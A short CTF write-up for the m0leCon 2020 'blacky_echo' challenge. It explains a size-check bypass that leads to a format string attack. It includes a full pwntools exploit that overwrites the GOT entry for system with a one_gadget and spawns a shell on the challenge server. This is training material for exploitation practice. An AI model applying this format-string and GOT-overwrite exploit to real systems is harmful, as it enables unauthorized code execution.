Tags: format-string pwn 

Rating:

Brief idea:

`Size` is not checked properly. `0x3f` passes the check, and `0x1003f` also passes the check.
This means we can overflow into the error message buffer.

The program copies the error message using `memcpy()`, without a NULL byte. The message
string is then interpreted by `fprintf()` as a format string. Since we have control over the buffer,
we can launch a format string attack.

Using the format string primitive, I first leaked some GOT addresses to figure out the server's
libc version (2.27), then did a partial-overwrite, changing `system` to a one_gadget.

For more information, see [**my write-up**](https://ypl.coffee/m0lecon-ctf-2020-blacky-echo/).

Full exp:
```
#!/usr/bin/env python
from pwn import *

#context.log_level = "DEBUG"

PATCH = False
LOCAL = False
DEBUG = False

SZ = 0x2003f
e = ELF("./blacky_echo", checksec=False)

"""
libc version: libc6_2.27-3ubuntu1_amd64
one_gadget offsets: 0x4f322
system() offset: 0x4f440
"""

if __name__ == "__main__":
if PATCH:
os.system("patchelf --set-interpreter /home/user/libc-ld.so/libc-2.27/64bit/ld.so.2 blacky_echo" )
os.system("patchelf --set-rpath /home/user/libc-ld.so/libc-2.27/64bit/ blacky_echo")

if LOCAL:
p = process(e.path)
else:
p = remote("challs.m0lecon.it", 9011)
DEBUG = False

if DEBUG:
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p, """
set follow-fork-mode parent
handle SIGALRM ignore
""")

p.recvuntil("Size: ")
p.sendline(str(SZ).encode())

p.recvuntil("Input: ")

payload = b"A" * 0x1000a
payload += b"%62221c%12$hn"
payload += b"B" * 6
payload += p64(e.got["system"])

p.sendline(payload)
p.interactive()
```

Original writeup (https://ypl.coffee/m0lecon-ctf-2020-blacky-echo/).